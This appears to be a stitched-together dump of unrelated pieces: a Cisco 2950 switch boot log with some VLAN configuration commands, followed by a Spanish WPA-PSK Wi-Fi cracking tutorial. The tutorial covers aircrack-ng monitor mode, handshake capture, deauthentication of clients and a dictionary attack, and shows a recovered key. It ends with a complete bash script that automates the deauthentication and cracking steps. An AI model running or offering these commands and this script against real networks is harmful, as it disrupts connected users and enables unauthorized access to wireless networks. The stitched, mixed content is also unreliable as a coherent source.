C2950 Boot Loader (C2950-HBOOT-M) Version 12.1(11r)EA1, RELEASE SOFTWARE (fc1)
Compiled Mon 22-Jul-02 18:57 by miwang
Cisco WS-C2950-24 (RC32300) processor (revision C0) with 21039K bytes of memory.
2950-24 starting...
Base ethernet MAC Address: 00D0.584E.B340
Xmodem file system is available.
Initializing Flash...
flashfs[0]: 1 files, 0 directories
flashfs[0]: 0 orphaned files, 0 orphaned directories
flashfs[0]: Total bytes: 64016384
flashfs[0]: Bytes used: 3058048
flashfs[0]: Bytes available: 60958336
flashfs[0]: flashfs fsck took 1 seconds.
...done Initializing Flash.

Boot Sector Filesystem (bs:) installed, fsid: 3
Parameter Block Filesystem (pb:) installed, fsid: 4


Loading "flash:/c2950-i6q4l2-mz.121-22.EA4.bin"...
########################################################################## [OK]
              Restricted Rights Legend

Use, duplication, or disclosure by the Government is
subject to restrictions as set forth in subparagraph
(c) of the Commercial Computer Software - Restricted
Rights clause at FAR sec. 52.227-19 and subparagraph
(c) (1) (ii) of the Rights in Technical Data and Computer
Software clause at DFARS sec. 252.227-7013.

           cisco Systems, Inc.
           170 West Tasman Drive
           San Jose, California 95134-1706



Cisco Internetwork Operating System Software
IOS (tm) C2950 Software (C2950-I6Q4L2-M), Version 12.1(22)EA4, RELEASE SOFTWARE(fc1)
Copyright (c) 1986-2005 by cisco Systems, Inc.
Compiled Wed 18-May-05 22:31 by jharirba

Cisco WS-C2950-24 (RC32300) processor (revision C0) with 21039K bytes of memory.
Processor board ID FHK0610Z0WC
Running Standard Image
24 FastEthernet/IEEE 802.3 interface(s)

63488K bytes of flash-simulated non-volatile configuration memory.
Base ethernet MAC Address: 00D0.584E.B340
Motherboard assembly number: 73-5781-09 
Power supply part number: 34-0965-01
Motherboard serial number: FOC061004SZ
Power supply serial number: DAB0609127D
Model revision number: C0
Motherboard revision number: A0
Model number: WS-C2950-24
System serial number: FHK0610Z0WC

Cisco Internetwork Operating System Software
IOS (tm) C2950 Software (C2950-I6Q4L2-M), Version 12.1(22)EA4, RELEASE SOFTWARE(fc1)
Copyright (c) 1986-2005 by cisco Systems, Inc.
Compiled Wed 18-May-05 22:31 by jharirba

Press RETURN to get started!


%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/2, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/2, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/3, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/3, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/4, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/4, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/5, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/5, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/6, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/6, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/7, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/7, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/8, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/8, changed state to up

Switch>enable

Switch#show vlan

vlan database

vlan 2 name Ingenieria

configure terminal

Switch(config)#

Switch(config)#interface fastEthernet 0/1

Switch(config-if)#

Switch(config-if)#switchport mode access 

Switch(config-if)#switchport access vlan 2

show vlan

# apt-get install aircrack-ng

# airmon-ng start <iface>
p.e: # airmon-ng start wlan0

# airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0
	--bssid -> MAC del punto de acceso.
	-w redWPA -> guardará los datos obtenidos en el archivo "redWPA".
	-c -> Canal del punto de acesso
	wlan0 -> interfaz adaptador inalambrico.

# aireplay-ng -0 5 -a <MAC_AP> -c <MAC_CLIENTE> <interfaz>
		 |-> Numero de desautenticaciones que se enviarán.
		     Si ponemos un 0, enviará desautenticaciones hasta que lo paremos.

# aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0

# aircrack-ng redWPA-01.cap

Opening wpa-hand.cap
Read 553 packets.

   #  BSSID              ESSID                     Encryption

   1  00:1B:02:93:AF:9C  ap_labs                WPA (1 handshake)  <------

Choosing first network as target.

Opening wpa-hand.cap
Please specify a dictionary (option -w).


Quitting aircrack-ng...

# aircrack-ng -w <ruta_diccionario> <archivo_de_capturas>

# aircrack-ng -w diccionario.lst redWPA-01.cap

Aircrack-ng 1.0 rc1


                   [00:00:00] 0 keys tested (0.00 k/s)


                           KEY FOUND! [ clave__ap ]


      Master Key     : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9 
                       DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09 

      Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5 
                       8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0 
                       C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0 
                       F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78 

      EAPOL HMAC     : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26

#!/bin/bash

# airoWPA-PSK.sh v0.1
# written by ka0x <ka0x01[at]gmail.com>

if [ $UID != 0 ]; then
	echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO"
	exit
fi

comprueba_mac(){
	if [ ! "${#1}" -eq "17" ]; then
		echo -e "\033[31mMac Incorrecta\n\033[0m"
		exit
	fi
}
interfaces() {
	echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n"
	INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }')
	select INTER in $INTERFACES; do
		break;
	done
	clear
}

monitor(){
	airmon-ng start $INTER
	clear
	menu
}

handshake(){
	clear
	read -p "[-] Introduzca la MAC del AP: " mac_ap
	comprueba_mac $mac_ap
	read -p "[-] Introduzca la MAC del Cliente: " mac_client
	comprueba_mac $mac_client
	read -p "[-] Introduzca el canal del AP: " mac_chanel
	read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas
	xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu
}

desautenticacion(){
	clear
	read -p "[-] Introduzca la MAC del AP: " mac_ap
	comprueba_mac $mac_ap
	read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente
	comprueba_mac $mac_cliente
	read -p "[-] Introduzca el numero de desautenticaciones: " num
	xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER
	clear
	menu
}

crack_dicc(){
	clear
	read -p "[-] Introduzca la ruta del diccionario: " diccionario
	echo "[-] Seleccione el archivo de datos capturados:"

	LS_DIR=$(ls *.cap)
	select DATA in $LS_DIR; do
		break;
	done
	
	xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA
	menu
}

menu(){
	echo -e "\n[*] Opciones:\n"
	echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m"
	echo "1 - Activar Modo Monitor"
	echo "2 - Capturar handshake"
	echo "3 - Desautenticar cliente"
	echo "4 - Obtener clave con diccionario"
	echo "5 - Salir"
	echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m"

	read -p "opcion> " OPCION

	case $OPCION in
		"1") monitor;;
		"2") handshake;;
		"3") desautenticacion;;
		"4") crack_dicc;;
		"5") exit;;
	*) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;;

	esac
}

interfaces
menu

# __EOF__